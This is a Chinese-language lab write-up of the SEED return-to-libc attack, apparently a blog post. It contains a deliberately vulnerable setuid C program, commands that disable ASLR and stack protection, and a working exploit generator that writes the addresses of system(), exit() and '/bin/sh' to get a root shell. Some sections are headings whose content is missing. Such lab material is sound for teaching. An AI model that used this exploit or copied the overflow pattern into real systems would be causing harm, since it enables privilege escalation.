Return-to-libc Attack Lab
实验目的:绕过栈保护机制,通过缓冲区溢出,获取ubuntu12的root权限
为了对抗缓冲区溢出漏洞,一般linux操作系统允许管理员设置栈不可执行,
这将直接导致将程序控制权直接跳转到shellcode无法运行,造成攻击失败。
为了对抗不可执行栈,聪明的黑客提出了return-to-libc攻击。攻击者不需要可执行的栈,
甚至不需要shellcode。return-to-libc攻击通过将程序的控制权跳转到系统自己的可执行代码,
例如,在libc库中的system()函数,这些函数已经存在于内存中了。
实验目标:
- 本次实验将给出一个有缓冲区溢出漏洞的程序,你需要通过return-to-libc攻击,并获取root权限。
- 你需要掌握堆栈模型,system()、exit()、“/bin/sh”在内存中的地址,掌握gdb调试。
准备工作
你可以在ubuntu12中完成本次实验。为了简化攻击,我们需要关闭一些保护机制。
- 地址随机化 su sysctl -w kernel.randomize_va_space=0
- 栈保护机制(canaria)gcc -fno-stack-protector ****.c
- 栈不可执行 gcc -z execstack ****.c
The Vulnerable Program
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
为了后续return-to-libc攻击能获取到root权限,而不是仅仅弹出一个普通用户的shell,
我们需要编译并设置有效id为root。
$ su root
Password (enter root password)
# gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
# chmod 4755 retlib
# exit
当badfile文件中内容大小低于缓冲区大小的时候,程序正常。
当文件内容大小超过缓冲区大小的时候,程序异常,发生缓冲区溢出。
Exploting the Vulnerability
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
int base = 24;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[base+8] = 0xb7f7ff18; // "/bin/sh"
*(long *) &buf[base] = 0xb7e5e430; // system()
*(long *) &buf[base+4] = 0xb7e51fb0; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
编译运行:获取root权限
获取root权限如何获取libc函数地址?
创建一个简单程序:
如何获取libc函数地址?通过gdb查看libc中函数地址:
通过gdb查看libc中函数地址如何获取字符串“/bin/sh”在内存中的地址?
- 方案1:设置一个临时的环境变量MYSHELL=/bin/sh
获取这个环境变量在内存中的地址
- 方案2:用上面获取libc的方式,在libc.so中寻找”/bin/sh”
如何理解函数调用?
AT&T汇编
ebp寄存器:堆栈栈底
esp寄存器:堆栈栈顶
eax寄存器:保持函数返回的数据
call foo的含义:
pushl %eip
movl f,%eip
leave的含义:
movl %ebp,%esp
popl %ebp
ret的含义:
popl %eip
网友评论